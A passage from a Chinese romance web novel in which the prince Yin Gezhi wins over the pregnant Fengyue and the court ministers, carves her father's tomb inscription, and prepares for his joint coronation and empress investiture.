殷戈止瞧着,略微思忖,便打发了大夫,跟着她过去。
在床上盘腿坐下,风月一脸莫名其妙,见殷戈止也跟着坐了下来,皱眉便道:“你在这儿做什么?”
“我?”睨她一眼,殷戈止气定神闲地道:“这是我的房间。”
眨眨眼,她看了看四周,脸皱了起来:“那把我放在这儿做什么?”
“我乐意。”
“我不乐意!”脑袋里有很多血腥的画面涌进来,风月黑了脸:“你和灵殊是不是找那个大夫来骗我的?我怎么可能怀孕!”
看她一眼,殷戈止问:“怎么,怀孕了不高兴?”
“你要我怎么高兴?!”稍微有点激动,风月怒道:“怀你殷氏的孽种,我难道还要觉得荣幸吗!”
灵殊听得心里一慌,上前就想安抚她。面前这好歹是个亲王啊,这么骂,岂不是把他也骂进去了?
然而,殷戈止压根没在意,眼皮一翻,很是镇定地就道:“我以为你很聪明,能想明白这其中关键,没想到怀孕的女人都是傻子,你也不例外。”
灵殊愣了,风月也愣了,不解地看着他:“你什么意思?”
伸手捋了捋袖口,殷戈止轻声问:“你恨我殷氏,是么?”
“是。”
“可你杀不完殷氏之人。”殷戈止挑眉:“你本来的确没办法报仇了,棋下到这里,就已经**。可是老天爷给了你个恩赐,让你有机会翻身。你不感激就算了,还抱怨?”
翻身的机会?风月两眼茫然,抱着肚子问灵殊:“你听得懂他在说什么吗?”
水汪汪的眼睛一转,灵殊看了看殷戈止的眼色,当即恍然:“奴婢听懂了!”
“什么?”
“主子您想啊!”在床边坐下来,灵殊抱着风月的胳膊就一本正经地道:“殷氏的人哪里死得完?一个**,也有另一个能登基,这皇位他们依旧会世世代代地传承下去,说不定又会出下一个魏文帝,下下个魏文帝。可现在,您怀了身子啊!只要王爷一登基,您肚子里的就是皇子!殷氏的皇子捏在您手里,岂不就是您翻身之机?”
风月皱眉:“你真当我傻?他登基,我的孩子也不可能是皇子!”
“只要功夫深,铁杵都能磨成针,这世上有什么不可能的呢?是吧王爷?”灵殊扭头,直冲殷戈止眨眼。
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殷戈止道:“你狠心,本王可是有血有肉之人。这孩子是本王第一个子嗣,自然不会薄待。若一朝本王登基,他必定为太子。”
这话说得就有点重了,灵殊都吓了一跳,风月更是摇头:“说什么梦话呢?”
“梦话?”深深地看她一眼,殷戈止转头问外边:“观止,有客人来么?”
“回主子,有,御史大人已经在门口递帖子了。”
殷戈止起身,伸手将隔断处的帘子放下来,然后坐在外室道:“请他进来。”
“是。”
乔堂杰领着六个重臣进门来,一看见殷戈止便跪下去,双手呈上个东西:“请王爷过目!”
扫一眼那折子模样的东西,殷戈止淡淡地问:“这是什么?”
“回王爷,这是百官契书。”乔堂杰抬头,很是严肃地道:“朝中百官恭请王爷登基,只要王爷肯救国于水火,百官承诺,不插手后宫任何事,包括皇后废立、妃嫔位分升降、以及每年进宫的家人子。一切后宫规矩,完全听从圣意!”
伸手接了那格外厚的折子,殷戈止挑眉,捏着两端一扯,中间折着的厚厚的纸便“哗啦”一声掉在了地上。上头密密麻麻的,全是大臣的名字。
乔堂杰不愧是朝中最懂人心之人啊,观止瞧着都暗暗点头,这一招,高!
但,殷戈止是那种得了便宜就不会卖乖的人吗?
他不是!
满脸愁容地站起来,殷戈止叹息:“有劳各位大人如此费心了,可魏国如今内忧外患、国力衰退、臣心不稳。就算是沉璧,也不敢贸然登基。”
“王爷谦虚!”乔堂杰连忙道:“只要王爷肯继位,老臣们必定全力拥护,肃清朝纲,重振盛世!”
“可沉璧许多想法与各位大人颇为冲突。”
“无妨无妨,都可以好生商量!”
“那沉璧要是一意孤行呢?”
“王爷并非不通事理之人,若有王爷坚持之事,必定有道理,臣等可以让步!”
这句话都出来了,足以表达诚意。殷戈止终于满意了,轻轻叹了口气,表情松动。
乔堂杰见状大喜,立马道:“臣等这便回去准备!恭迎吾皇登基!”
说罢,带着人一起行礼,而后便起身,捞着官袍跌跌撞撞地往外跑,一边跑一边喊:“快,大喜啊!魏国大喜!”
那声音从王府主院传出去,一路传进了皇宫。
殷戈止侧头,伸手掀开了隔断处的帘子。
里头的灵殊和风月都一脸呆滞地看着他。
“做个选择吧,关清越。”侧身靠在隔断处,殷戈止斜眼,淡淡地道:“第一条路,别要这孩子了,反正仇也没报成,不如扔下这一群人,你一个人**,落得轻松。”
“第二条路,嫁我为后,生太子,让你流着你关家血脉的人,掌我殷氏江山!”
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第180章 活下去吧
这话说得太过诱人,以至于有那么一瞬间,风月觉得她怀了这孩子真是太幸运了!
可是,摇摇头冷静一下,她眯眼,黑了脸看着他道:“王爷这一张嘴可真是厉害,黑的都能说成白的!”
“事实如此,怎么就成我说出来的了?”隔断处的人道:“就这两条路,你看着选吧。”
冷笑一声,风月抱着枕头睨着他:“我要是带着你的太子一起**呢?岂不是更痛快?”
“痛快?”轻蔑地看她一眼,殷戈止摇头:“你还不了解我?你带着这孩子**,那我会娶其他的女人,生更多的孩子,太子之位不会空缺。到时候你和你这未出世的孩儿在阴间凄凄惨惨,我却可以拥着我的美人,坐看这**江山。”
一听就知道不划算!
风月有点懵,抱着枕头想了好一会儿,看向灵殊。
偷摸着掐一把自己的大腿,灵殊眼里瞬间涌出了眼泪:“主子,且不管这个孩子会是什么身份,他也是您的骨肉啊!是关家血脉的延续!您怎么忍心带着他**呢?小孩儿多可爱啊,您不是最喜欢抱着奴婢捏么?可奴婢都十四岁了,是个大孩子了,还是奶娃娃捏着舒服,真的,不信您生下来试试!”
很有道理的样子诶,风月沉思,脑海里浮现出个小小的影子,穿着虎头鞋、戴着虎头帽,跌跌撞撞地朝她的方向跑过来,一边跑一边奶声奶气地喊:“娘亲!”
心里骤然一软,她伸手摸了摸自个儿的肚子,脑子终于反应了过来。
她这半死不活的人,竟然能孕育新的生命?那生命鲜活地存在她的肚子里,会一天天长大,最后变成一个可爱的奶娃娃,虎头虎脑的,一咧嘴就笑出没长全的小奶牙。睁着清澈茫然地大眼睛,扯着她的衣角一步步地跟着她往前走。遇见为难的事情,会憋红脸小声地问她:“娘亲……”
神色骤然温柔,风月想明白了!她生的孩子,自然是关家的后人,关家的后人,能多活一个是一个,怎么能死呢!
眼睛亮了亮,她扭头便问:“大夫还说了别的么?”
一听这话,灵殊高兴得当真红了眼。主子肯这么问,那就一定还想活,还想生孩子!
“大夫说您身子不好,要好好养着才行。”哽咽了一下,灵殊连忙道:“奴婢已经准备好了许多补身子的药,这亲王府上还能做药膳,只要主子好生听话,这孩子一定健健康康,白白胖胖的!”
风月皱眉:“还要住在这儿?”
“不然呢?”殷戈止问:“你想去哪儿?”
魏文帝已经**,石氏一族即将伏法,她什么都不用做了,自然哪儿也不用去。
往床上一倒,风月闭眼:“嗯,那我再睡会儿,饭做好了叫我。”
“好。”殷戈止淡然颔首,转身便和灵殊一起退了出去。
门关上,他才张开手心。汗水被风一吹,凉成一片。
很多时候他都不如表面看起来那般镇定,比如刚刚,看着风月那游移不定的眼神,听她说那一句一起**,他心都快停跳了。
幸好,幸好她还想活。
“王爷?”旁边的灵殊担心地看着他。
回过神,殷戈止微微勾唇:“去给你家主子准备些吃的吧,我随意走走。”
“是。”灵殊应了,提着裙子就往厨房的方向跑。
观止在旁边瞧着,微微有些心疼地上前扶着他:“主子,您坐会儿吧。”
僵硬地跟着他走到庭院里的石桌边坐下,殷戈止捏了捏拳头,眼神平静地道:“观止,我有孩子了。”
“属下知道,您保重身子,别太过激动了。”
“我没有激动。”伸手指了指自己毫无表情的脸,殷戈止一本正经地道:“你看,本王很镇定。”
“……”伸手摸了摸鼻尖,观止摇头:“主子,您这表情是挺镇定的,可声音抖得也太厉害了!”
他都听到了里头激动不已热血沸腾的感觉,要不是主子一向冷静,现在怕是想围着王府跑几圈,然后站在屋顶上咆哮!
“你不懂。”微微垂眸,睫毛轻颤,殷戈止道:“你不会知道我是什么感觉。”
废话,他又没孩子!观止撇嘴,心想这是挤兑谁啊?要不是一直陪着主子生里来死里去的,他能到现在还是孤家寡人吗!
“帮我做点事情。”殷戈止侧头,眼里蕴含星河大海,明亮得让观止一愣。
“什……什么事情?”
秋风越过院墙,划过那颜色惊人的眉眼,带着殷戈止慢慢吐出来的话,吹进观止的耳朵里。
风月没睡着,她躺在床上很是茫然,不知道自己该做什么,也不知道自己的未来会是什么样子。
按照原来的计划,她现在应该**,所以后头的路,她一条也没铺。但现在,她没能死成,那这满目的泥泽,她要往哪里走才不至于掉下去?
脑筋缓慢地转着,转到最后,她有些不耐烦了,干脆一挥手,都去他奶奶的,走一步看一步吧!
秋高气爽,亲王府里很是繁忙,就算殷戈止总是在花厅接见人,不让人惊扰主院,可风月还是能听见不少动静。
他要登基了吧?
眼下的魏国,让他登基是最好的选择,朝中的人不傻,若是盛世,还能为着私利折腾一番。可如今这岌岌可危的情况,不推殷戈止上去顶着,那谁也顶不住。
可怜的孝亲王啊,被他父皇欺骗抛弃,最后还得留下来收拾这烂摊子。
看来大家的日子都不是很好过,风月也就放心了,抱着果脯罐子嚼着,胃口不错。精神头好一点的时候,她还跑去花厅外头的窗户下站着,听听墙角。
“王爷,关家有冤不假,可先帝已经给了不少封赏,您这些赏赐就未免过了。”乔堂杰愁眉苦脸地道:“关家就剩关清越一个人了,这么多东西,实在没必要。”
“如何没必要?”神色严肃,殷戈止道:“好歹是聘礼,怎能寒酸。”
“就算是聘……等等,什么礼?!”脸上的褶子都给吓平了,乔堂杰瞪大眼,很是惊恐地看着面前这人。
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拂了拂袍子上的暗纹,殷戈止气定神闲地加重了语气:“聘礼。”
一口气没缓上来,乔堂杰“嗷”地一声就给跪了下去,连连磕头:“王爷三思啊!登基大典在即,您下什么聘礼啊?”
下给别家的姑娘也就算了,可为什么偏偏是关清越啊?!
“民间有个词,叫父债子偿。”深深地看了面前这老头儿一眼,殷戈止叹息:“父皇欠关家的东西实在太多了,做为儿臣的,自然要替他偿还,不然他在西天难安,便是本王不孝了。”
窗外听着的风月没忍住翻了个白眼,心想你真娶了我魏文帝才是难安呢,棺材板指不定都盖不住,要翻了!
乔堂杰的嘴唇抖啊抖,眼泪直流:“王爷……”
“您不必太过感动。”殷戈止颔首,一脸深明大义的表情:“这都是本王该做的。”
“……”
登基大典的同时要立后,这算什么?几朝几代,或者说放眼天下大国,就没有哪个皇帝有这样的先例啊!孝亲王要这么做,就等于将登基的殊荣共享于皇后,那这皇后,岂不是要被他宠得上了天?
自古红颜多祸水啊!这关家之后,难免对殷氏心存敌意,当真让她掌握大局的话……不妥!很不妥!
嚼着梅干,风月在窗外笑了笑,然后施施然地回了主院,进门就喊:“灵殊,准备茶水,等会就有客人来了。”
灵殊满脸茫然,心想谁会来主院做客啊?不过主子都这么说了,她还是乖巧地去泡了一大壶新茶,洗好杯子等着。
没一会儿,乔堂杰就带着几位重臣气势汹汹地过来了。
孝亲王不好对付,那从关清越下手就行了啊!他们特意留了个人拖住殷戈止,然后便打算来找这关家女将军谈谈心。
然而,一推开门,却见个丫鬟笑脸盈盈地道:“果然是来客人了,各位大人里头请。”
刚积攒好的气势,在看见那一盏盏备好的香茗之时,散了一半。
心里发虚,乔堂杰打量着主位上坐着的那个姑娘,试探性地开口:“敢问是关氏?”
“御史大人。”风月起身,笑着颔首:“请坐。”
不愧是关家的儿女,举手抬足之间都是摄人的气势,就算穿着简单的长裙,也硬生生将他们这一群老臣的气场压住了。
有点怂了,乔堂杰在椅子里坐好,乖乖地双手捧着茶,闷声开口:“敢问关姑娘,知道王爷欲娶您之事么?”
“听说了一点。”风月道:“王爷看人一向颇有眼光。”
“……”这是夸殷戈止呢,还是夸她自己呢?乔堂杰愕然,摇摇头,心想姑娘家家的怎么可能跟孝亲王一样不要脸呢?不会的,不会的,一定是他的错觉。
轻咳一声,他重振精神,开口道:“王爷登基在即,诸事繁多,老夫觉得,这时候立后,不是最好的时机。”
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第181章 要继续努力
关清越这个人吧,从小霸道习惯了,有些东西虽然不在意,但你要从她手上抢,那无异于虎口拔牙!
于是,听着乔堂杰这话,她微微一笑,问:“那大人觉得,什么时候才是最好的时机呢?”
“起码要等王爷登基后一两年……”
“他等得了,我肚子里的孩子可等不了。”打断他的话,风月挺了挺腰,眉目温柔地摸着自己的肚子:“好歹流的是王爷的血脉,不给个名分,岂不是委屈了?”
瞪大眼,乔堂杰脸上的褶子又被吓平了!哆哆嗦嗦地指着她:“姑……姑娘怀了王爷的子嗣?”
“虽说是怀着,但这也不是最要紧的。”伸手拂了拂肩上不存在的灰,风月朝他笑得唇红齿白:“最要紧的是,大人,您还没看明白王爷为国为民的苦心。”
啥?为国为民?他就看见了孝亲王为博红颜一笑啊!
目光里带了些责备,风月皱眉叹息:“大人怎么不想想,登基大典繁文缛节筹备良多,甚为劳民伤财,立后大典亦然。王爷特地将这二者合为一次举行,费一次之力,成两处之好,省钱省事,岂不是为国为民,用心良苦?”
众人一听,嘿,好像还真是这么回事!国力本就不济,搞这些大典啊什么的一次又得花很多银子,孝亲王登基同时立后,至少能为边关的将士们省下几天的口粮。
乔堂杰沉默,虽然觉得哪里不对劲,可也为孝亲王这样的用心感动,更顺便反省了一下自己,是不是跟着魏文帝太久了,遇见明主反而不习惯?
“可是……”想了想,他还是开口道:“恕老夫直言,关姑娘的身份……在这时候为后,恐怕要掀起轩然大波。”
“这又是为何?”风月挑眉:“我做皇后,各位大人不是该很放心,很高兴么?”
放心个啥?高兴个啥!你是忠良之后没错,可你爹死在皇室手里的,大家能对你放心吗?万一哪天一个想不通,把新帝一刀捅了怎么办?
旁边的大臣神色复杂,基本想法与乔御史一致,低声开口:“不妥!”
风月的脸上顿时挂上了“你们这样的人当真能辅佐帝王吗”的怀疑神情,盯得乔堂杰坐立不安,忍不住道:“也不是老夫心存偏见,可敢问关姑娘,您为皇后,我等如何放心?”
“这有什么不放心的?”一扬下巴,风月道:“我武功已废,对你们新帝毫无威胁。再者,我满门已没,为后不会有外戚作乱,也不会有裙带关系拉拉扯扯,大人们难道不该高兴吗?”
乔堂杰一愣,眼珠子缓慢地动了动,轻轻吸了口凉气。
还真是这么个道理嘿!
先前他们上书承诺不干预后宫之事,本还担忧万一这后位落在哪个世族大家的头上,那一族为乱,他们便只能眼睁睁看着,毕竟裙带关系一向是能改变很多事情的。可现在,要是关清越为后,这种事儿就不必担心了啊,她压根就没族了!九族全灭!
这人选还真不是胡乱选的,王爷睿智啊!
心里好一阵感叹,乔堂杰的神色缓和了下来,捧着茶就朝风月笑:“听姑娘一席话,倒让老夫惭愧了。最近事务繁多,这脑子啊,不够用!很多地方没有想清楚,误会王爷了,也委屈姑娘了。”
“无妨。”轻轻垂了眼,风月的语气陡然沧桑:“这么多年在外漂泊,受委屈也已经习惯了。清越无依无靠,在哪儿也是任人拿捏的,大人不必在意。”
尾音带着点颤抖,似叹似怅地在屋子里响起,听得众人心里都是一紧。
一众重臣立马就觉得愧疚不已,尤其乔堂杰这种有孙女的老臣,更是慈心顿起,起身道:“姑娘莫要伤心,有王爷在,以后定然不会有人敢欺负于你。”
“承大人吉言。”眉间愁云不散,风月苦笑:“只是自古红颜多薄命,清越又受不少误解,这往后的日子要怎么过,全看运气了。”
误解从哪儿来?不就是朝中之人会觉得她身份尴尬,不适为后么?乔堂杰一想,捋了捋胡须便道:“姑娘放心,既然老夫等人拥护新帝登基,必然就会拥护新帝欲立的皇后,只有新帝后宫安稳,前朝之事也才能更平顺!”
深深地看了他一眼,风月抬袖,感动地擦了擦不存在的眼泪:“那……就多谢各位大人了。”
“姑娘好生养着身子吧。”慈祥地看她一眼,乔堂杰心里的疙瘩没了,很是高兴地就带着众位大人离开主院。
观止站在花厅里头,满脸愁容。
主院一向不让人进去的,御史大夫那群人硬闯,他已经禀告了主子了,本以为主子会大发雷霆跑去拦人呢,谁知道主子竟然不慌不忙地道:“随他们去吧”,然后就开始跟这陈卫尉玩“五子连珠”。
随他们去?!万一出事怎么办啊!风月姑娘一个弱女子……
正愁着呢,冷不防听见点动静。观止一抬头,就见乔大人那一群人满脸轻松地回来了。
“王爷!”乔堂杰上前,拱手行礼,一揖差点到地,分外诚恳。
殷戈止挑眉,平静地问:“怎么了?如厕一趟回来,心情这么好?”
乔堂杰抬头,满脸愧疚地道:“老臣们不懂王爷忧国忧民之心,反以为王爷沉迷美色一意孤行,是臣等浅薄鄙陋,请王爷恕罪!”
观止听得很茫然,他家主子岂不就是沉迷美色一意孤行么?啥时候忧国忧民了?
然而,座上的殷戈止道行毕竟高深,看着前头这一个个埋下去请罪的脑袋,轻轻将茶盏往旁边一放,便长叹了一口气,语气沧桑地道:“各位大人能这么快明白,本王已经知足了。”
“王爷……”
“为人君者,以一人之意决断天下,难免有时被人误解。”微微抬头仰望房梁,他惆怅地道:“但,只要天下太平,国泰民安,一个人受点委屈,又有何妨?”
瞧瞧这胸襟,这情怀!他们白白多活了几十年,拍马也追不上啊!
乔堂杰等人感动不已!
于是,接下来朝中就掀起了一阵激烈的讨论,以乔堂杰为首的朝廷重臣们那叫一个立场坚定气势磅礴啊!历时三日,将反对新帝登基
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立后的声音统统压了下去!
“你很厉害。”躺在软榻上,殷戈止伸手便将风月抱在怀里放着,摸着脑袋夸奖了一句。
风月龇牙:“王爷过奖,不过您做什么非得抱着我?”
两人的关系已经融洽到可以这么亲近了?
面无表情地睨着她,殷戈止道:“我现在还能抱得动你,为什么不抱?等你肚子大了,抱不动了,我便不抱了。”
眯眼看了看他,风月冷笑道:“别企图忽悠我!抱得动抱不动我都不想给你抱!”
“为什么?”微微皱眉,殷戈止道:“你即将嫁给我了。”
“那又怎么了?”沉了沉脸,风月眼神冷漠。
心口一沉,殷戈止垂眸。
他好像得意得太早了,这**仇难报,心里怨气还未消,就算被他使着手段留住了,那也不是乖顺的小猫咪。
不过,他也不是束手无策,只要她还有在意的东西,那他就可以慢慢修路,一直修到她脚下!
心思百转,脸上却无波无澜,殷戈止松开了她,轻轻拢了拢她身上的披风,问:“喜欢什么样式的凤冠?”
“随便。”挣开他的怀抱,风月抱着茶杯坐到旁边去,虽然精神是有了,可整个人看起来还是有点阴沉。
殷戈止不在意,翻身起来,道:“这两日都在搬东西进宫,府里一团混乱,与其留在这儿磕着碰着的,你不如跟我出去走走。”
“不去。”想也不想,风月拒绝。
“照影山风景不错。”慢悠悠地吐出这句话,殷戈止侧头看她:“当真不去?”
照影山。
想起自己还没做完的某件事,风月抿唇,瞪眼看着这不要脸的人!
“去!”
“那就跟我来。”朝她伸出手,殷戈止很是高傲地道:“如今这身份,本王可不是哪里都能去的,想不要大片人跟着,动作就利索点。”
一听这话,风月“啪”地就将自己的手放进他手心。
微微勾唇,殷戈止手上一用力,便看着那红色的披风在她身后扬起来,像很久之前梦回楼房梁上断了的红绸,迷花了他的眼。
马车绝尘而走,观止很是担忧地一边驾车一边朝后头道:“王爷,待会儿乔大人他们找不到您,会乱套的。”
“那么大把年纪的人了,什么事都要找我怎么行。”一脸严肃,殷戈止抱着风月,沉声道:“他们要学会自己处理事情。”
观止:“……”要是别的事情,他们的确是可以自己处理的,可是今天分明是要试穿龙袍啊王爷!
抹了把脸,他摇头不管了,主子都没着急呢,他急个什么劲儿!
秋风萧瑟,落叶纷纷。风月气喘吁吁地爬上山,便见关苍海的坟墓四周似乎在修什么建筑。那坟包上用大理石修了个拱形,前头的碑却还空着。
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第182章 美色的勾引
正有些怔愣,还没问出口,就听得旁边的人道:“先帝的旨意,要给将军修陵墓,此处便起将军陵。墓碑我没让人动,还是等你来了之后再刻。”
风月稍顿,低头看了看自己的手。她手上已经没那么大的力道了,这碑文该刻什么,怎么刻才好?
眼里一片茫然之色,她下意识地抬头,看向面前这人。
清凌凌如小鹿的眼神,带着点无措和可怜,看得殷戈止心里一撞,平静如湖的眼里瞬间起了点涟漪,颇为狼狈地别开头。
“随我来。”
手被人一牵,风月眼里有了点焦距,顺手将另一只手也搭上去,接着就将浑身的重量都托在他手上,很是无赖地弯腰在后头走着。
前头的人很是嫌弃地回头看了一眼,然后转头往修了一半的陵墓里走,眼波流转之间,一抹摄人心魄的笑意悄然而生。
有正在修筑的石匠不经意地抬头,对上这张脸就看失了神,手里的锤子没拿稳,“哐当”一声砸在了地上,惊得旁边的人低斥了一声:“小心些!”
慌忙回神捡起石锤,再一抬头,却见那翩翩公子脸上平静无澜,方才的惊鸿绝色,仿佛只是他的幻觉。
“有纸笔么?”找着了监工,出示了信物,殷戈止有礼地问了一声。
监工颤颤巍巍地将石匠刻碑用的纸和笔递给他,惊恐不已。
这孝亲王……怎么会亲自来看将军陵了?
微微颔首,殷戈止牵着风月便到旁边堆积着的方石边坐下,平铺上纸,低声道:“你写,我刻。”
嘴角抽了抽,风月横眼看他:“王爷当我傻么?这碑岂是外人能刻的?”
“外人?”眉梢动了动,殷戈止道:“看来是聘礼给少了,你都不认本王是内人。”
一说起那多得恐怖的聘礼,风月青了脸,连忙摇头:“够了够了,您刻吧,您的手艺肯定比刻碑师傅还好。”
“过奖。”
嘴里谦虚地吐着这两个字,脸上却是一副“我当然最厉害”的骄傲神情,殷戈止转头便去挑刻刀。
神色复杂地看他一眼,风月嫌弃地摇头,然后正经了神色,认真地看着这半透的宣纸,提笔而书。
碑文要写逝者之名、籍贯、家世、经历,风月一笑,挺直了背脊。她的父亲是忠勇大将军关苍海,籍贯澧都,出身将门世家!
而经历……
抿了抿唇,看一眼四周正在修建的壮阔陵墓,她沉默良久,终于是轻轻吐出一口气。
关苍海生而为将,忠君爱国,战场十年功绩无数。虽然最后冤死狱中,可害他之人,无一有好下场。四年**,昭然得雪,关家一门忠骨铮铮,终能安眠。后世评说,当为他叹息,满怀敬意!
这个结局,其实比她预想中的要好,她本无法做到的事情,有人替她做到了。
墨水在纸上微微晕开,风月咧嘴笑了笑,一笔一画地写下父亲曾经的丰功伟绩,写下他的冤屈和不平。一张宣纸不够,便又加了一张。
殷戈止捏了刻刀回来,扫一眼她那模样,没走近,转身去跟监工嘀咕了几句。
于是,等宣纸风干的时候,风月面前便摆上了三块墓碑,螭首龟趺,中间一块最长,旁边两块稍短,看样子打算并立为屏状。
眨眨眼,她问:“你怎么知道一块碑刻不下?”
扫她一眼,殷戈止淡淡地道:“因为你的话一向很多。”
风月:“……”
还想听他说点什么例如“关将军一生,岂是一碑能盖之”或者“你文采甚好,方寸不能困也”的话,那样她也好感动一把啊什么的,毕竟他都亲自来这儿了,诚意实在很足。
然而,这人说话还是这么不讨喜!
气愤地吹了一下额前的碎发,风月扭头就去旁边等着,看他刻碑。
今日殷戈止穿的是一身白色的秋锦,质地稍厚,暗纹为龙,镶玉的腰带一束,当真是公子如金,公子如玉。哪怕是弯腰蹲在墓碑前头,那墨发顺着衣袍微微滑下来,眉目之间也是容色惊人。
一不小心看走了神,风月托着下巴就想,这人最近怎么越来越好看了?以前也知道他英气逼人,可周身气场太强,仿若铁刀,带着杀气,让人压根不敢直视。如今瞧着,那股子杀气好像不见了,周身柔软下来,纯净柔软得像谁家唇红齿白的少年,不染一丝脏污。
殷戈止抬头,不经意扫见她这目光,微微掀了掀眼帘,一丝光亮稍纵即逝。然后低头,更加认真地刻起碑文来。
一个人喜欢上另一个人不一定非得因为这张脸,可若这张脸好看到了一定程度,那的确是可以用来勾引人的。三年前的他与风月并没有多少交集,要说这人为什么会爬上他的床,那肯定跟这张脸脱不开关系。
既然她喜欢,那就给她多看看。
三十年河东,三十年河西啊,以前视女人为玩物的殷沉璧,现在终于费尽心思勾引起女人来。
挂得老高的太阳渐渐偏西,碑文刻好,还未打磨。山上已经起风了,殷戈止皱眉便道:“回去了。”
有些恋恋不舍地看着四周,风月问:“这里要多久才能修好?”
伸手给她系好披风,殷戈止淡淡地道:“等你孩子生下来再来看,
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便修好了。”
莫名地脸上一红,风月咬牙:“您不必如此,我手没断。”
“你手没空。”
“哪儿没空啦?”不服气地伸出左手在他面前晃了晃,风月瞪眼。
殷戈止垂眼看着她,突然勾唇,伸手便将她的手扣住,拢进自己宽大的袖子里,然后转头往前走。
“这样,就没空了。”
风月:“……”
这是勾搭了多少良家妇女勾出来的经验啊?盯着前头的路,风月想,怪不得那么多小姑娘排队想睡他呢,瞧这小嘴甜得,她都受不住。
打了个寒颤,她撇嘴,亦步亦趋地跟着他上车,车里铺了厚厚软软的毯子,他坐进去,直接伸手将她抱到他怀里放好。
外头的风有点冷,却吹不开这厚重的车帘,风月眯眼,突然觉得很是安心。
说不出来为什么安心,就觉得在这个地方,风吹不到她,雨打不到她,有个人会在她身后护着,免她颠沛流离,免她无枝可依。
然而,这种心情,她是不会跟殷戈止说的!
孝亲王府里的东西都搬进了宫,大杂院里那群人正在商量着之后要去哪里。
秋夫人道:“我不想再卖花灯了,去开个客栈怎么样?王爷让我去帮忙照看的那家客栈还不错,我照着样子开一家,生意肯定好。”
尹衍忠点头:“客栈可以,我掌勺。”
“我跑堂!”罗昊举手。
“那**什么?”史冲满脸愁容:“继续打铁?”
众人一阵哄笑,正变着法儿打趣呢,冷不防就听得殷戈止的声音道:“史力士天赋过人,还是适合上阵杀敌。”
此话一出,满院的人都惊了,四处找殷戈止在哪儿,连坐着的矮凳都端起来看了看。
风月瞧得直摇头,痛心疾首地道:“就你们这样子还想开客栈?太让人不放心了!”
秋夫人一愣,回头朝门口看去,就见殷戈止和少主施施然站着,身上都披着外出用的披风。
“嘿,这是什么招数?”史冲很是惊奇:“我分明听见殿下的声音从地上传过来的!”
“我听见在水缸那边!”
“得了吧!”风月抹了把脸:“人家用个腹语你们就找不着北了,说出去都是战功彪炳的人,丢不丢脸啊?”
殷戈止站在旁边,很有风度地道:“是本王一时兴起作了怪,各位切勿放在心上。”
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第183章 登基大典
一句话,风月就成了个唱黑脸的,殷戈止的白脸还继续唱:“不过看各位似乎在为什么事情烦恼,兴许在下能帮上忙。”
史冲神色一动,立马拍了拍大腿:“对啊,还有王爷在!”
或者说,这魏国将来的皇帝跟他们关系这么好,还想什么开客栈啊,这里的人一个个的都是从战场上下来的,最想做的事情,不就是重回能施展抱负的地方吗?
院子里的人沉默,相互递着眼神,满脸纠结。你推推我,我推推他,没一个敢先站出来开口的。
风月一看就知道他们在想什么,当即就一脚踩在了殷戈止的鞋面上!
轻轻吸了口凉气,殷戈止低头,咬着牙问:“你做什么?”
“你别算计到我的人头上!”风月瞪眼:“想做什么直接说!”
“冤枉啊。”轻轻叹息一声,殷戈止低声道:“我本也没想诓他们。”
骗鬼呢?鬼都不信!风月满脸戒备,跟盯贼似的盯着他。
然而,这回好像当真是她错怪他了。旁边这人站直身子,直接开口朝着面前那一群人道:“如今军中缺人,不知各位可愿重新披上铠甲,振我魏国雄师之威?”
史冲力气大没心眼,一听就高兴地答应:“好啊!”
尹衍忠微微皱眉,略有顾虑地看他一眼,道:“许久没磨刀,也已经不会打仗了。王爷盛情,我等恐怕要辜负。”
“尹将军谦虚。”殷戈止颔首:“本王也是战场上长大的人,各位会不会打仗,本王心里很清楚。眼下抗宋之兵集结在即,本王真诚相邀,希望登基之后,能得众位援手。”
说罢,很是诚恳地拱手,朝他们重重一拜。
尹衍忠吓了一跳,连忙伸手扶住他的手腕,院子里的众人也是一惊,有些不敢置信地看着他。
高高在上的孝亲王,竟然……对他们这群什么也不是了的人行礼?就为了让他们回去继续为国效力?
一时间,这些人纷纷想起了面前这人是谁,他是大皇子殷沉璧啊!也是个战功赫赫,驰骋沙场的英雄。他继位,魏国定然会是不同的风气,还为何要担心将士跟以前魏文帝在位之时一样,不得信任器重,不得好下场呢?
“草民听命!”罗昊想通了,拱手便站出来行礼,史冲一看,也跟着拱手。院子里的人犹犹豫豫的,可站出来行礼的人却接连不断。
罢了。尹衍忠闭眼,低笑了一声,想起沙场皓月、边关霜雪,喉结微动,站出去拱手:“草民听命!”
“草民听命!”
“草民听命!”
方才零零散散的声音,在片刻之后,终于响成了一片——“吾等听候王爷差遣!”
殷戈止抬头,目光从这一张张脸上扫过,语气分外真诚地道:“多谢。”
多谢你们,在经历了不善待将士的君主之后,还热血未凉,还愿上战场。
风月安静地看着,没出声打扰。这么多年了,这群人帮了她很多,如果他们有很想做的事情的话,她也愿全力帮他们达成。只要她还活着,不管用什么方法,绝不会让殷戈止走上魏文帝的老路!
院子里热闹起来,这群人拿刀的拿刀,拿剑的拿剑,还有就地松动筋骨,大喝自己“宝刀未老”的,引得一片哄笑之声。
月亮升起又落下,明天,就是登基封后大典了。
搬进了宫里,风月睡得不太踏实,跟烙饼似的翻来覆去。旁边的殷戈止疲倦地睁开眼,伸手将她捞进自己怀里,顺**摸了摸。
“干嘛!”口气很不好,风月伸着爪子就挠他!
捏住她的手,殷戈止摸了摸她的指甲,微微皱眉,翻身下床便点了灯。
爬起来坐着,风月睁着一双万分精神的眼睛:“你终于也睡不着啦?”
没理她,殷戈止找了锉指甲的锉刀出来,盘腿坐上床,将她的爪子捏过来,一个个地磨:“太医不是说了让你别留指甲?”
“我留指甲怎么也碍着他了?”风月微怒:“这么点长都不行?”
“不行。”语气强硬得没有半点商量的余地,殷戈止满脸困倦之意,眼睛半垂着,却是很仔细地把她指甲磨得平平的。修长的手指轻轻碰着她,叫她觉得浑身不对劲。
这算个啥?百炼钢化绕指柔?殷戈止这可是握偃月长刀的手啊,现在竟然拿着个小锉刀给她磨指甲?眨眨眼,风月盯着人家长长的睫毛瞧,嘴里喃喃有声:“以后咱孩子要是长得像你就好了。”
睨她一眼,殷戈止点头:“也是,若是生个跟你一样的女儿,我会担心她嫁不出去。”
“你才嫁不出去呢!”风月皱眉:“当年追求我的人可多了,关家门槛都差点被踏破!”
“哦?”停了手上的动作,殷戈止声音平静地问:“有哪些啊?”
认真地想了想,风月道:“多得快记不清了,郎中令家的公子吧,还有什么太仆家的二少爷、新晋的年轻典客……”
“等会写份名单给我。”
“啥?”风月瞪眼:“你要这个名单做什么?”
“皇帝登基,一般要找些人立威,正愁找不到人,不如就他们了。”殷戈止面无表情地道。
风月:“……”
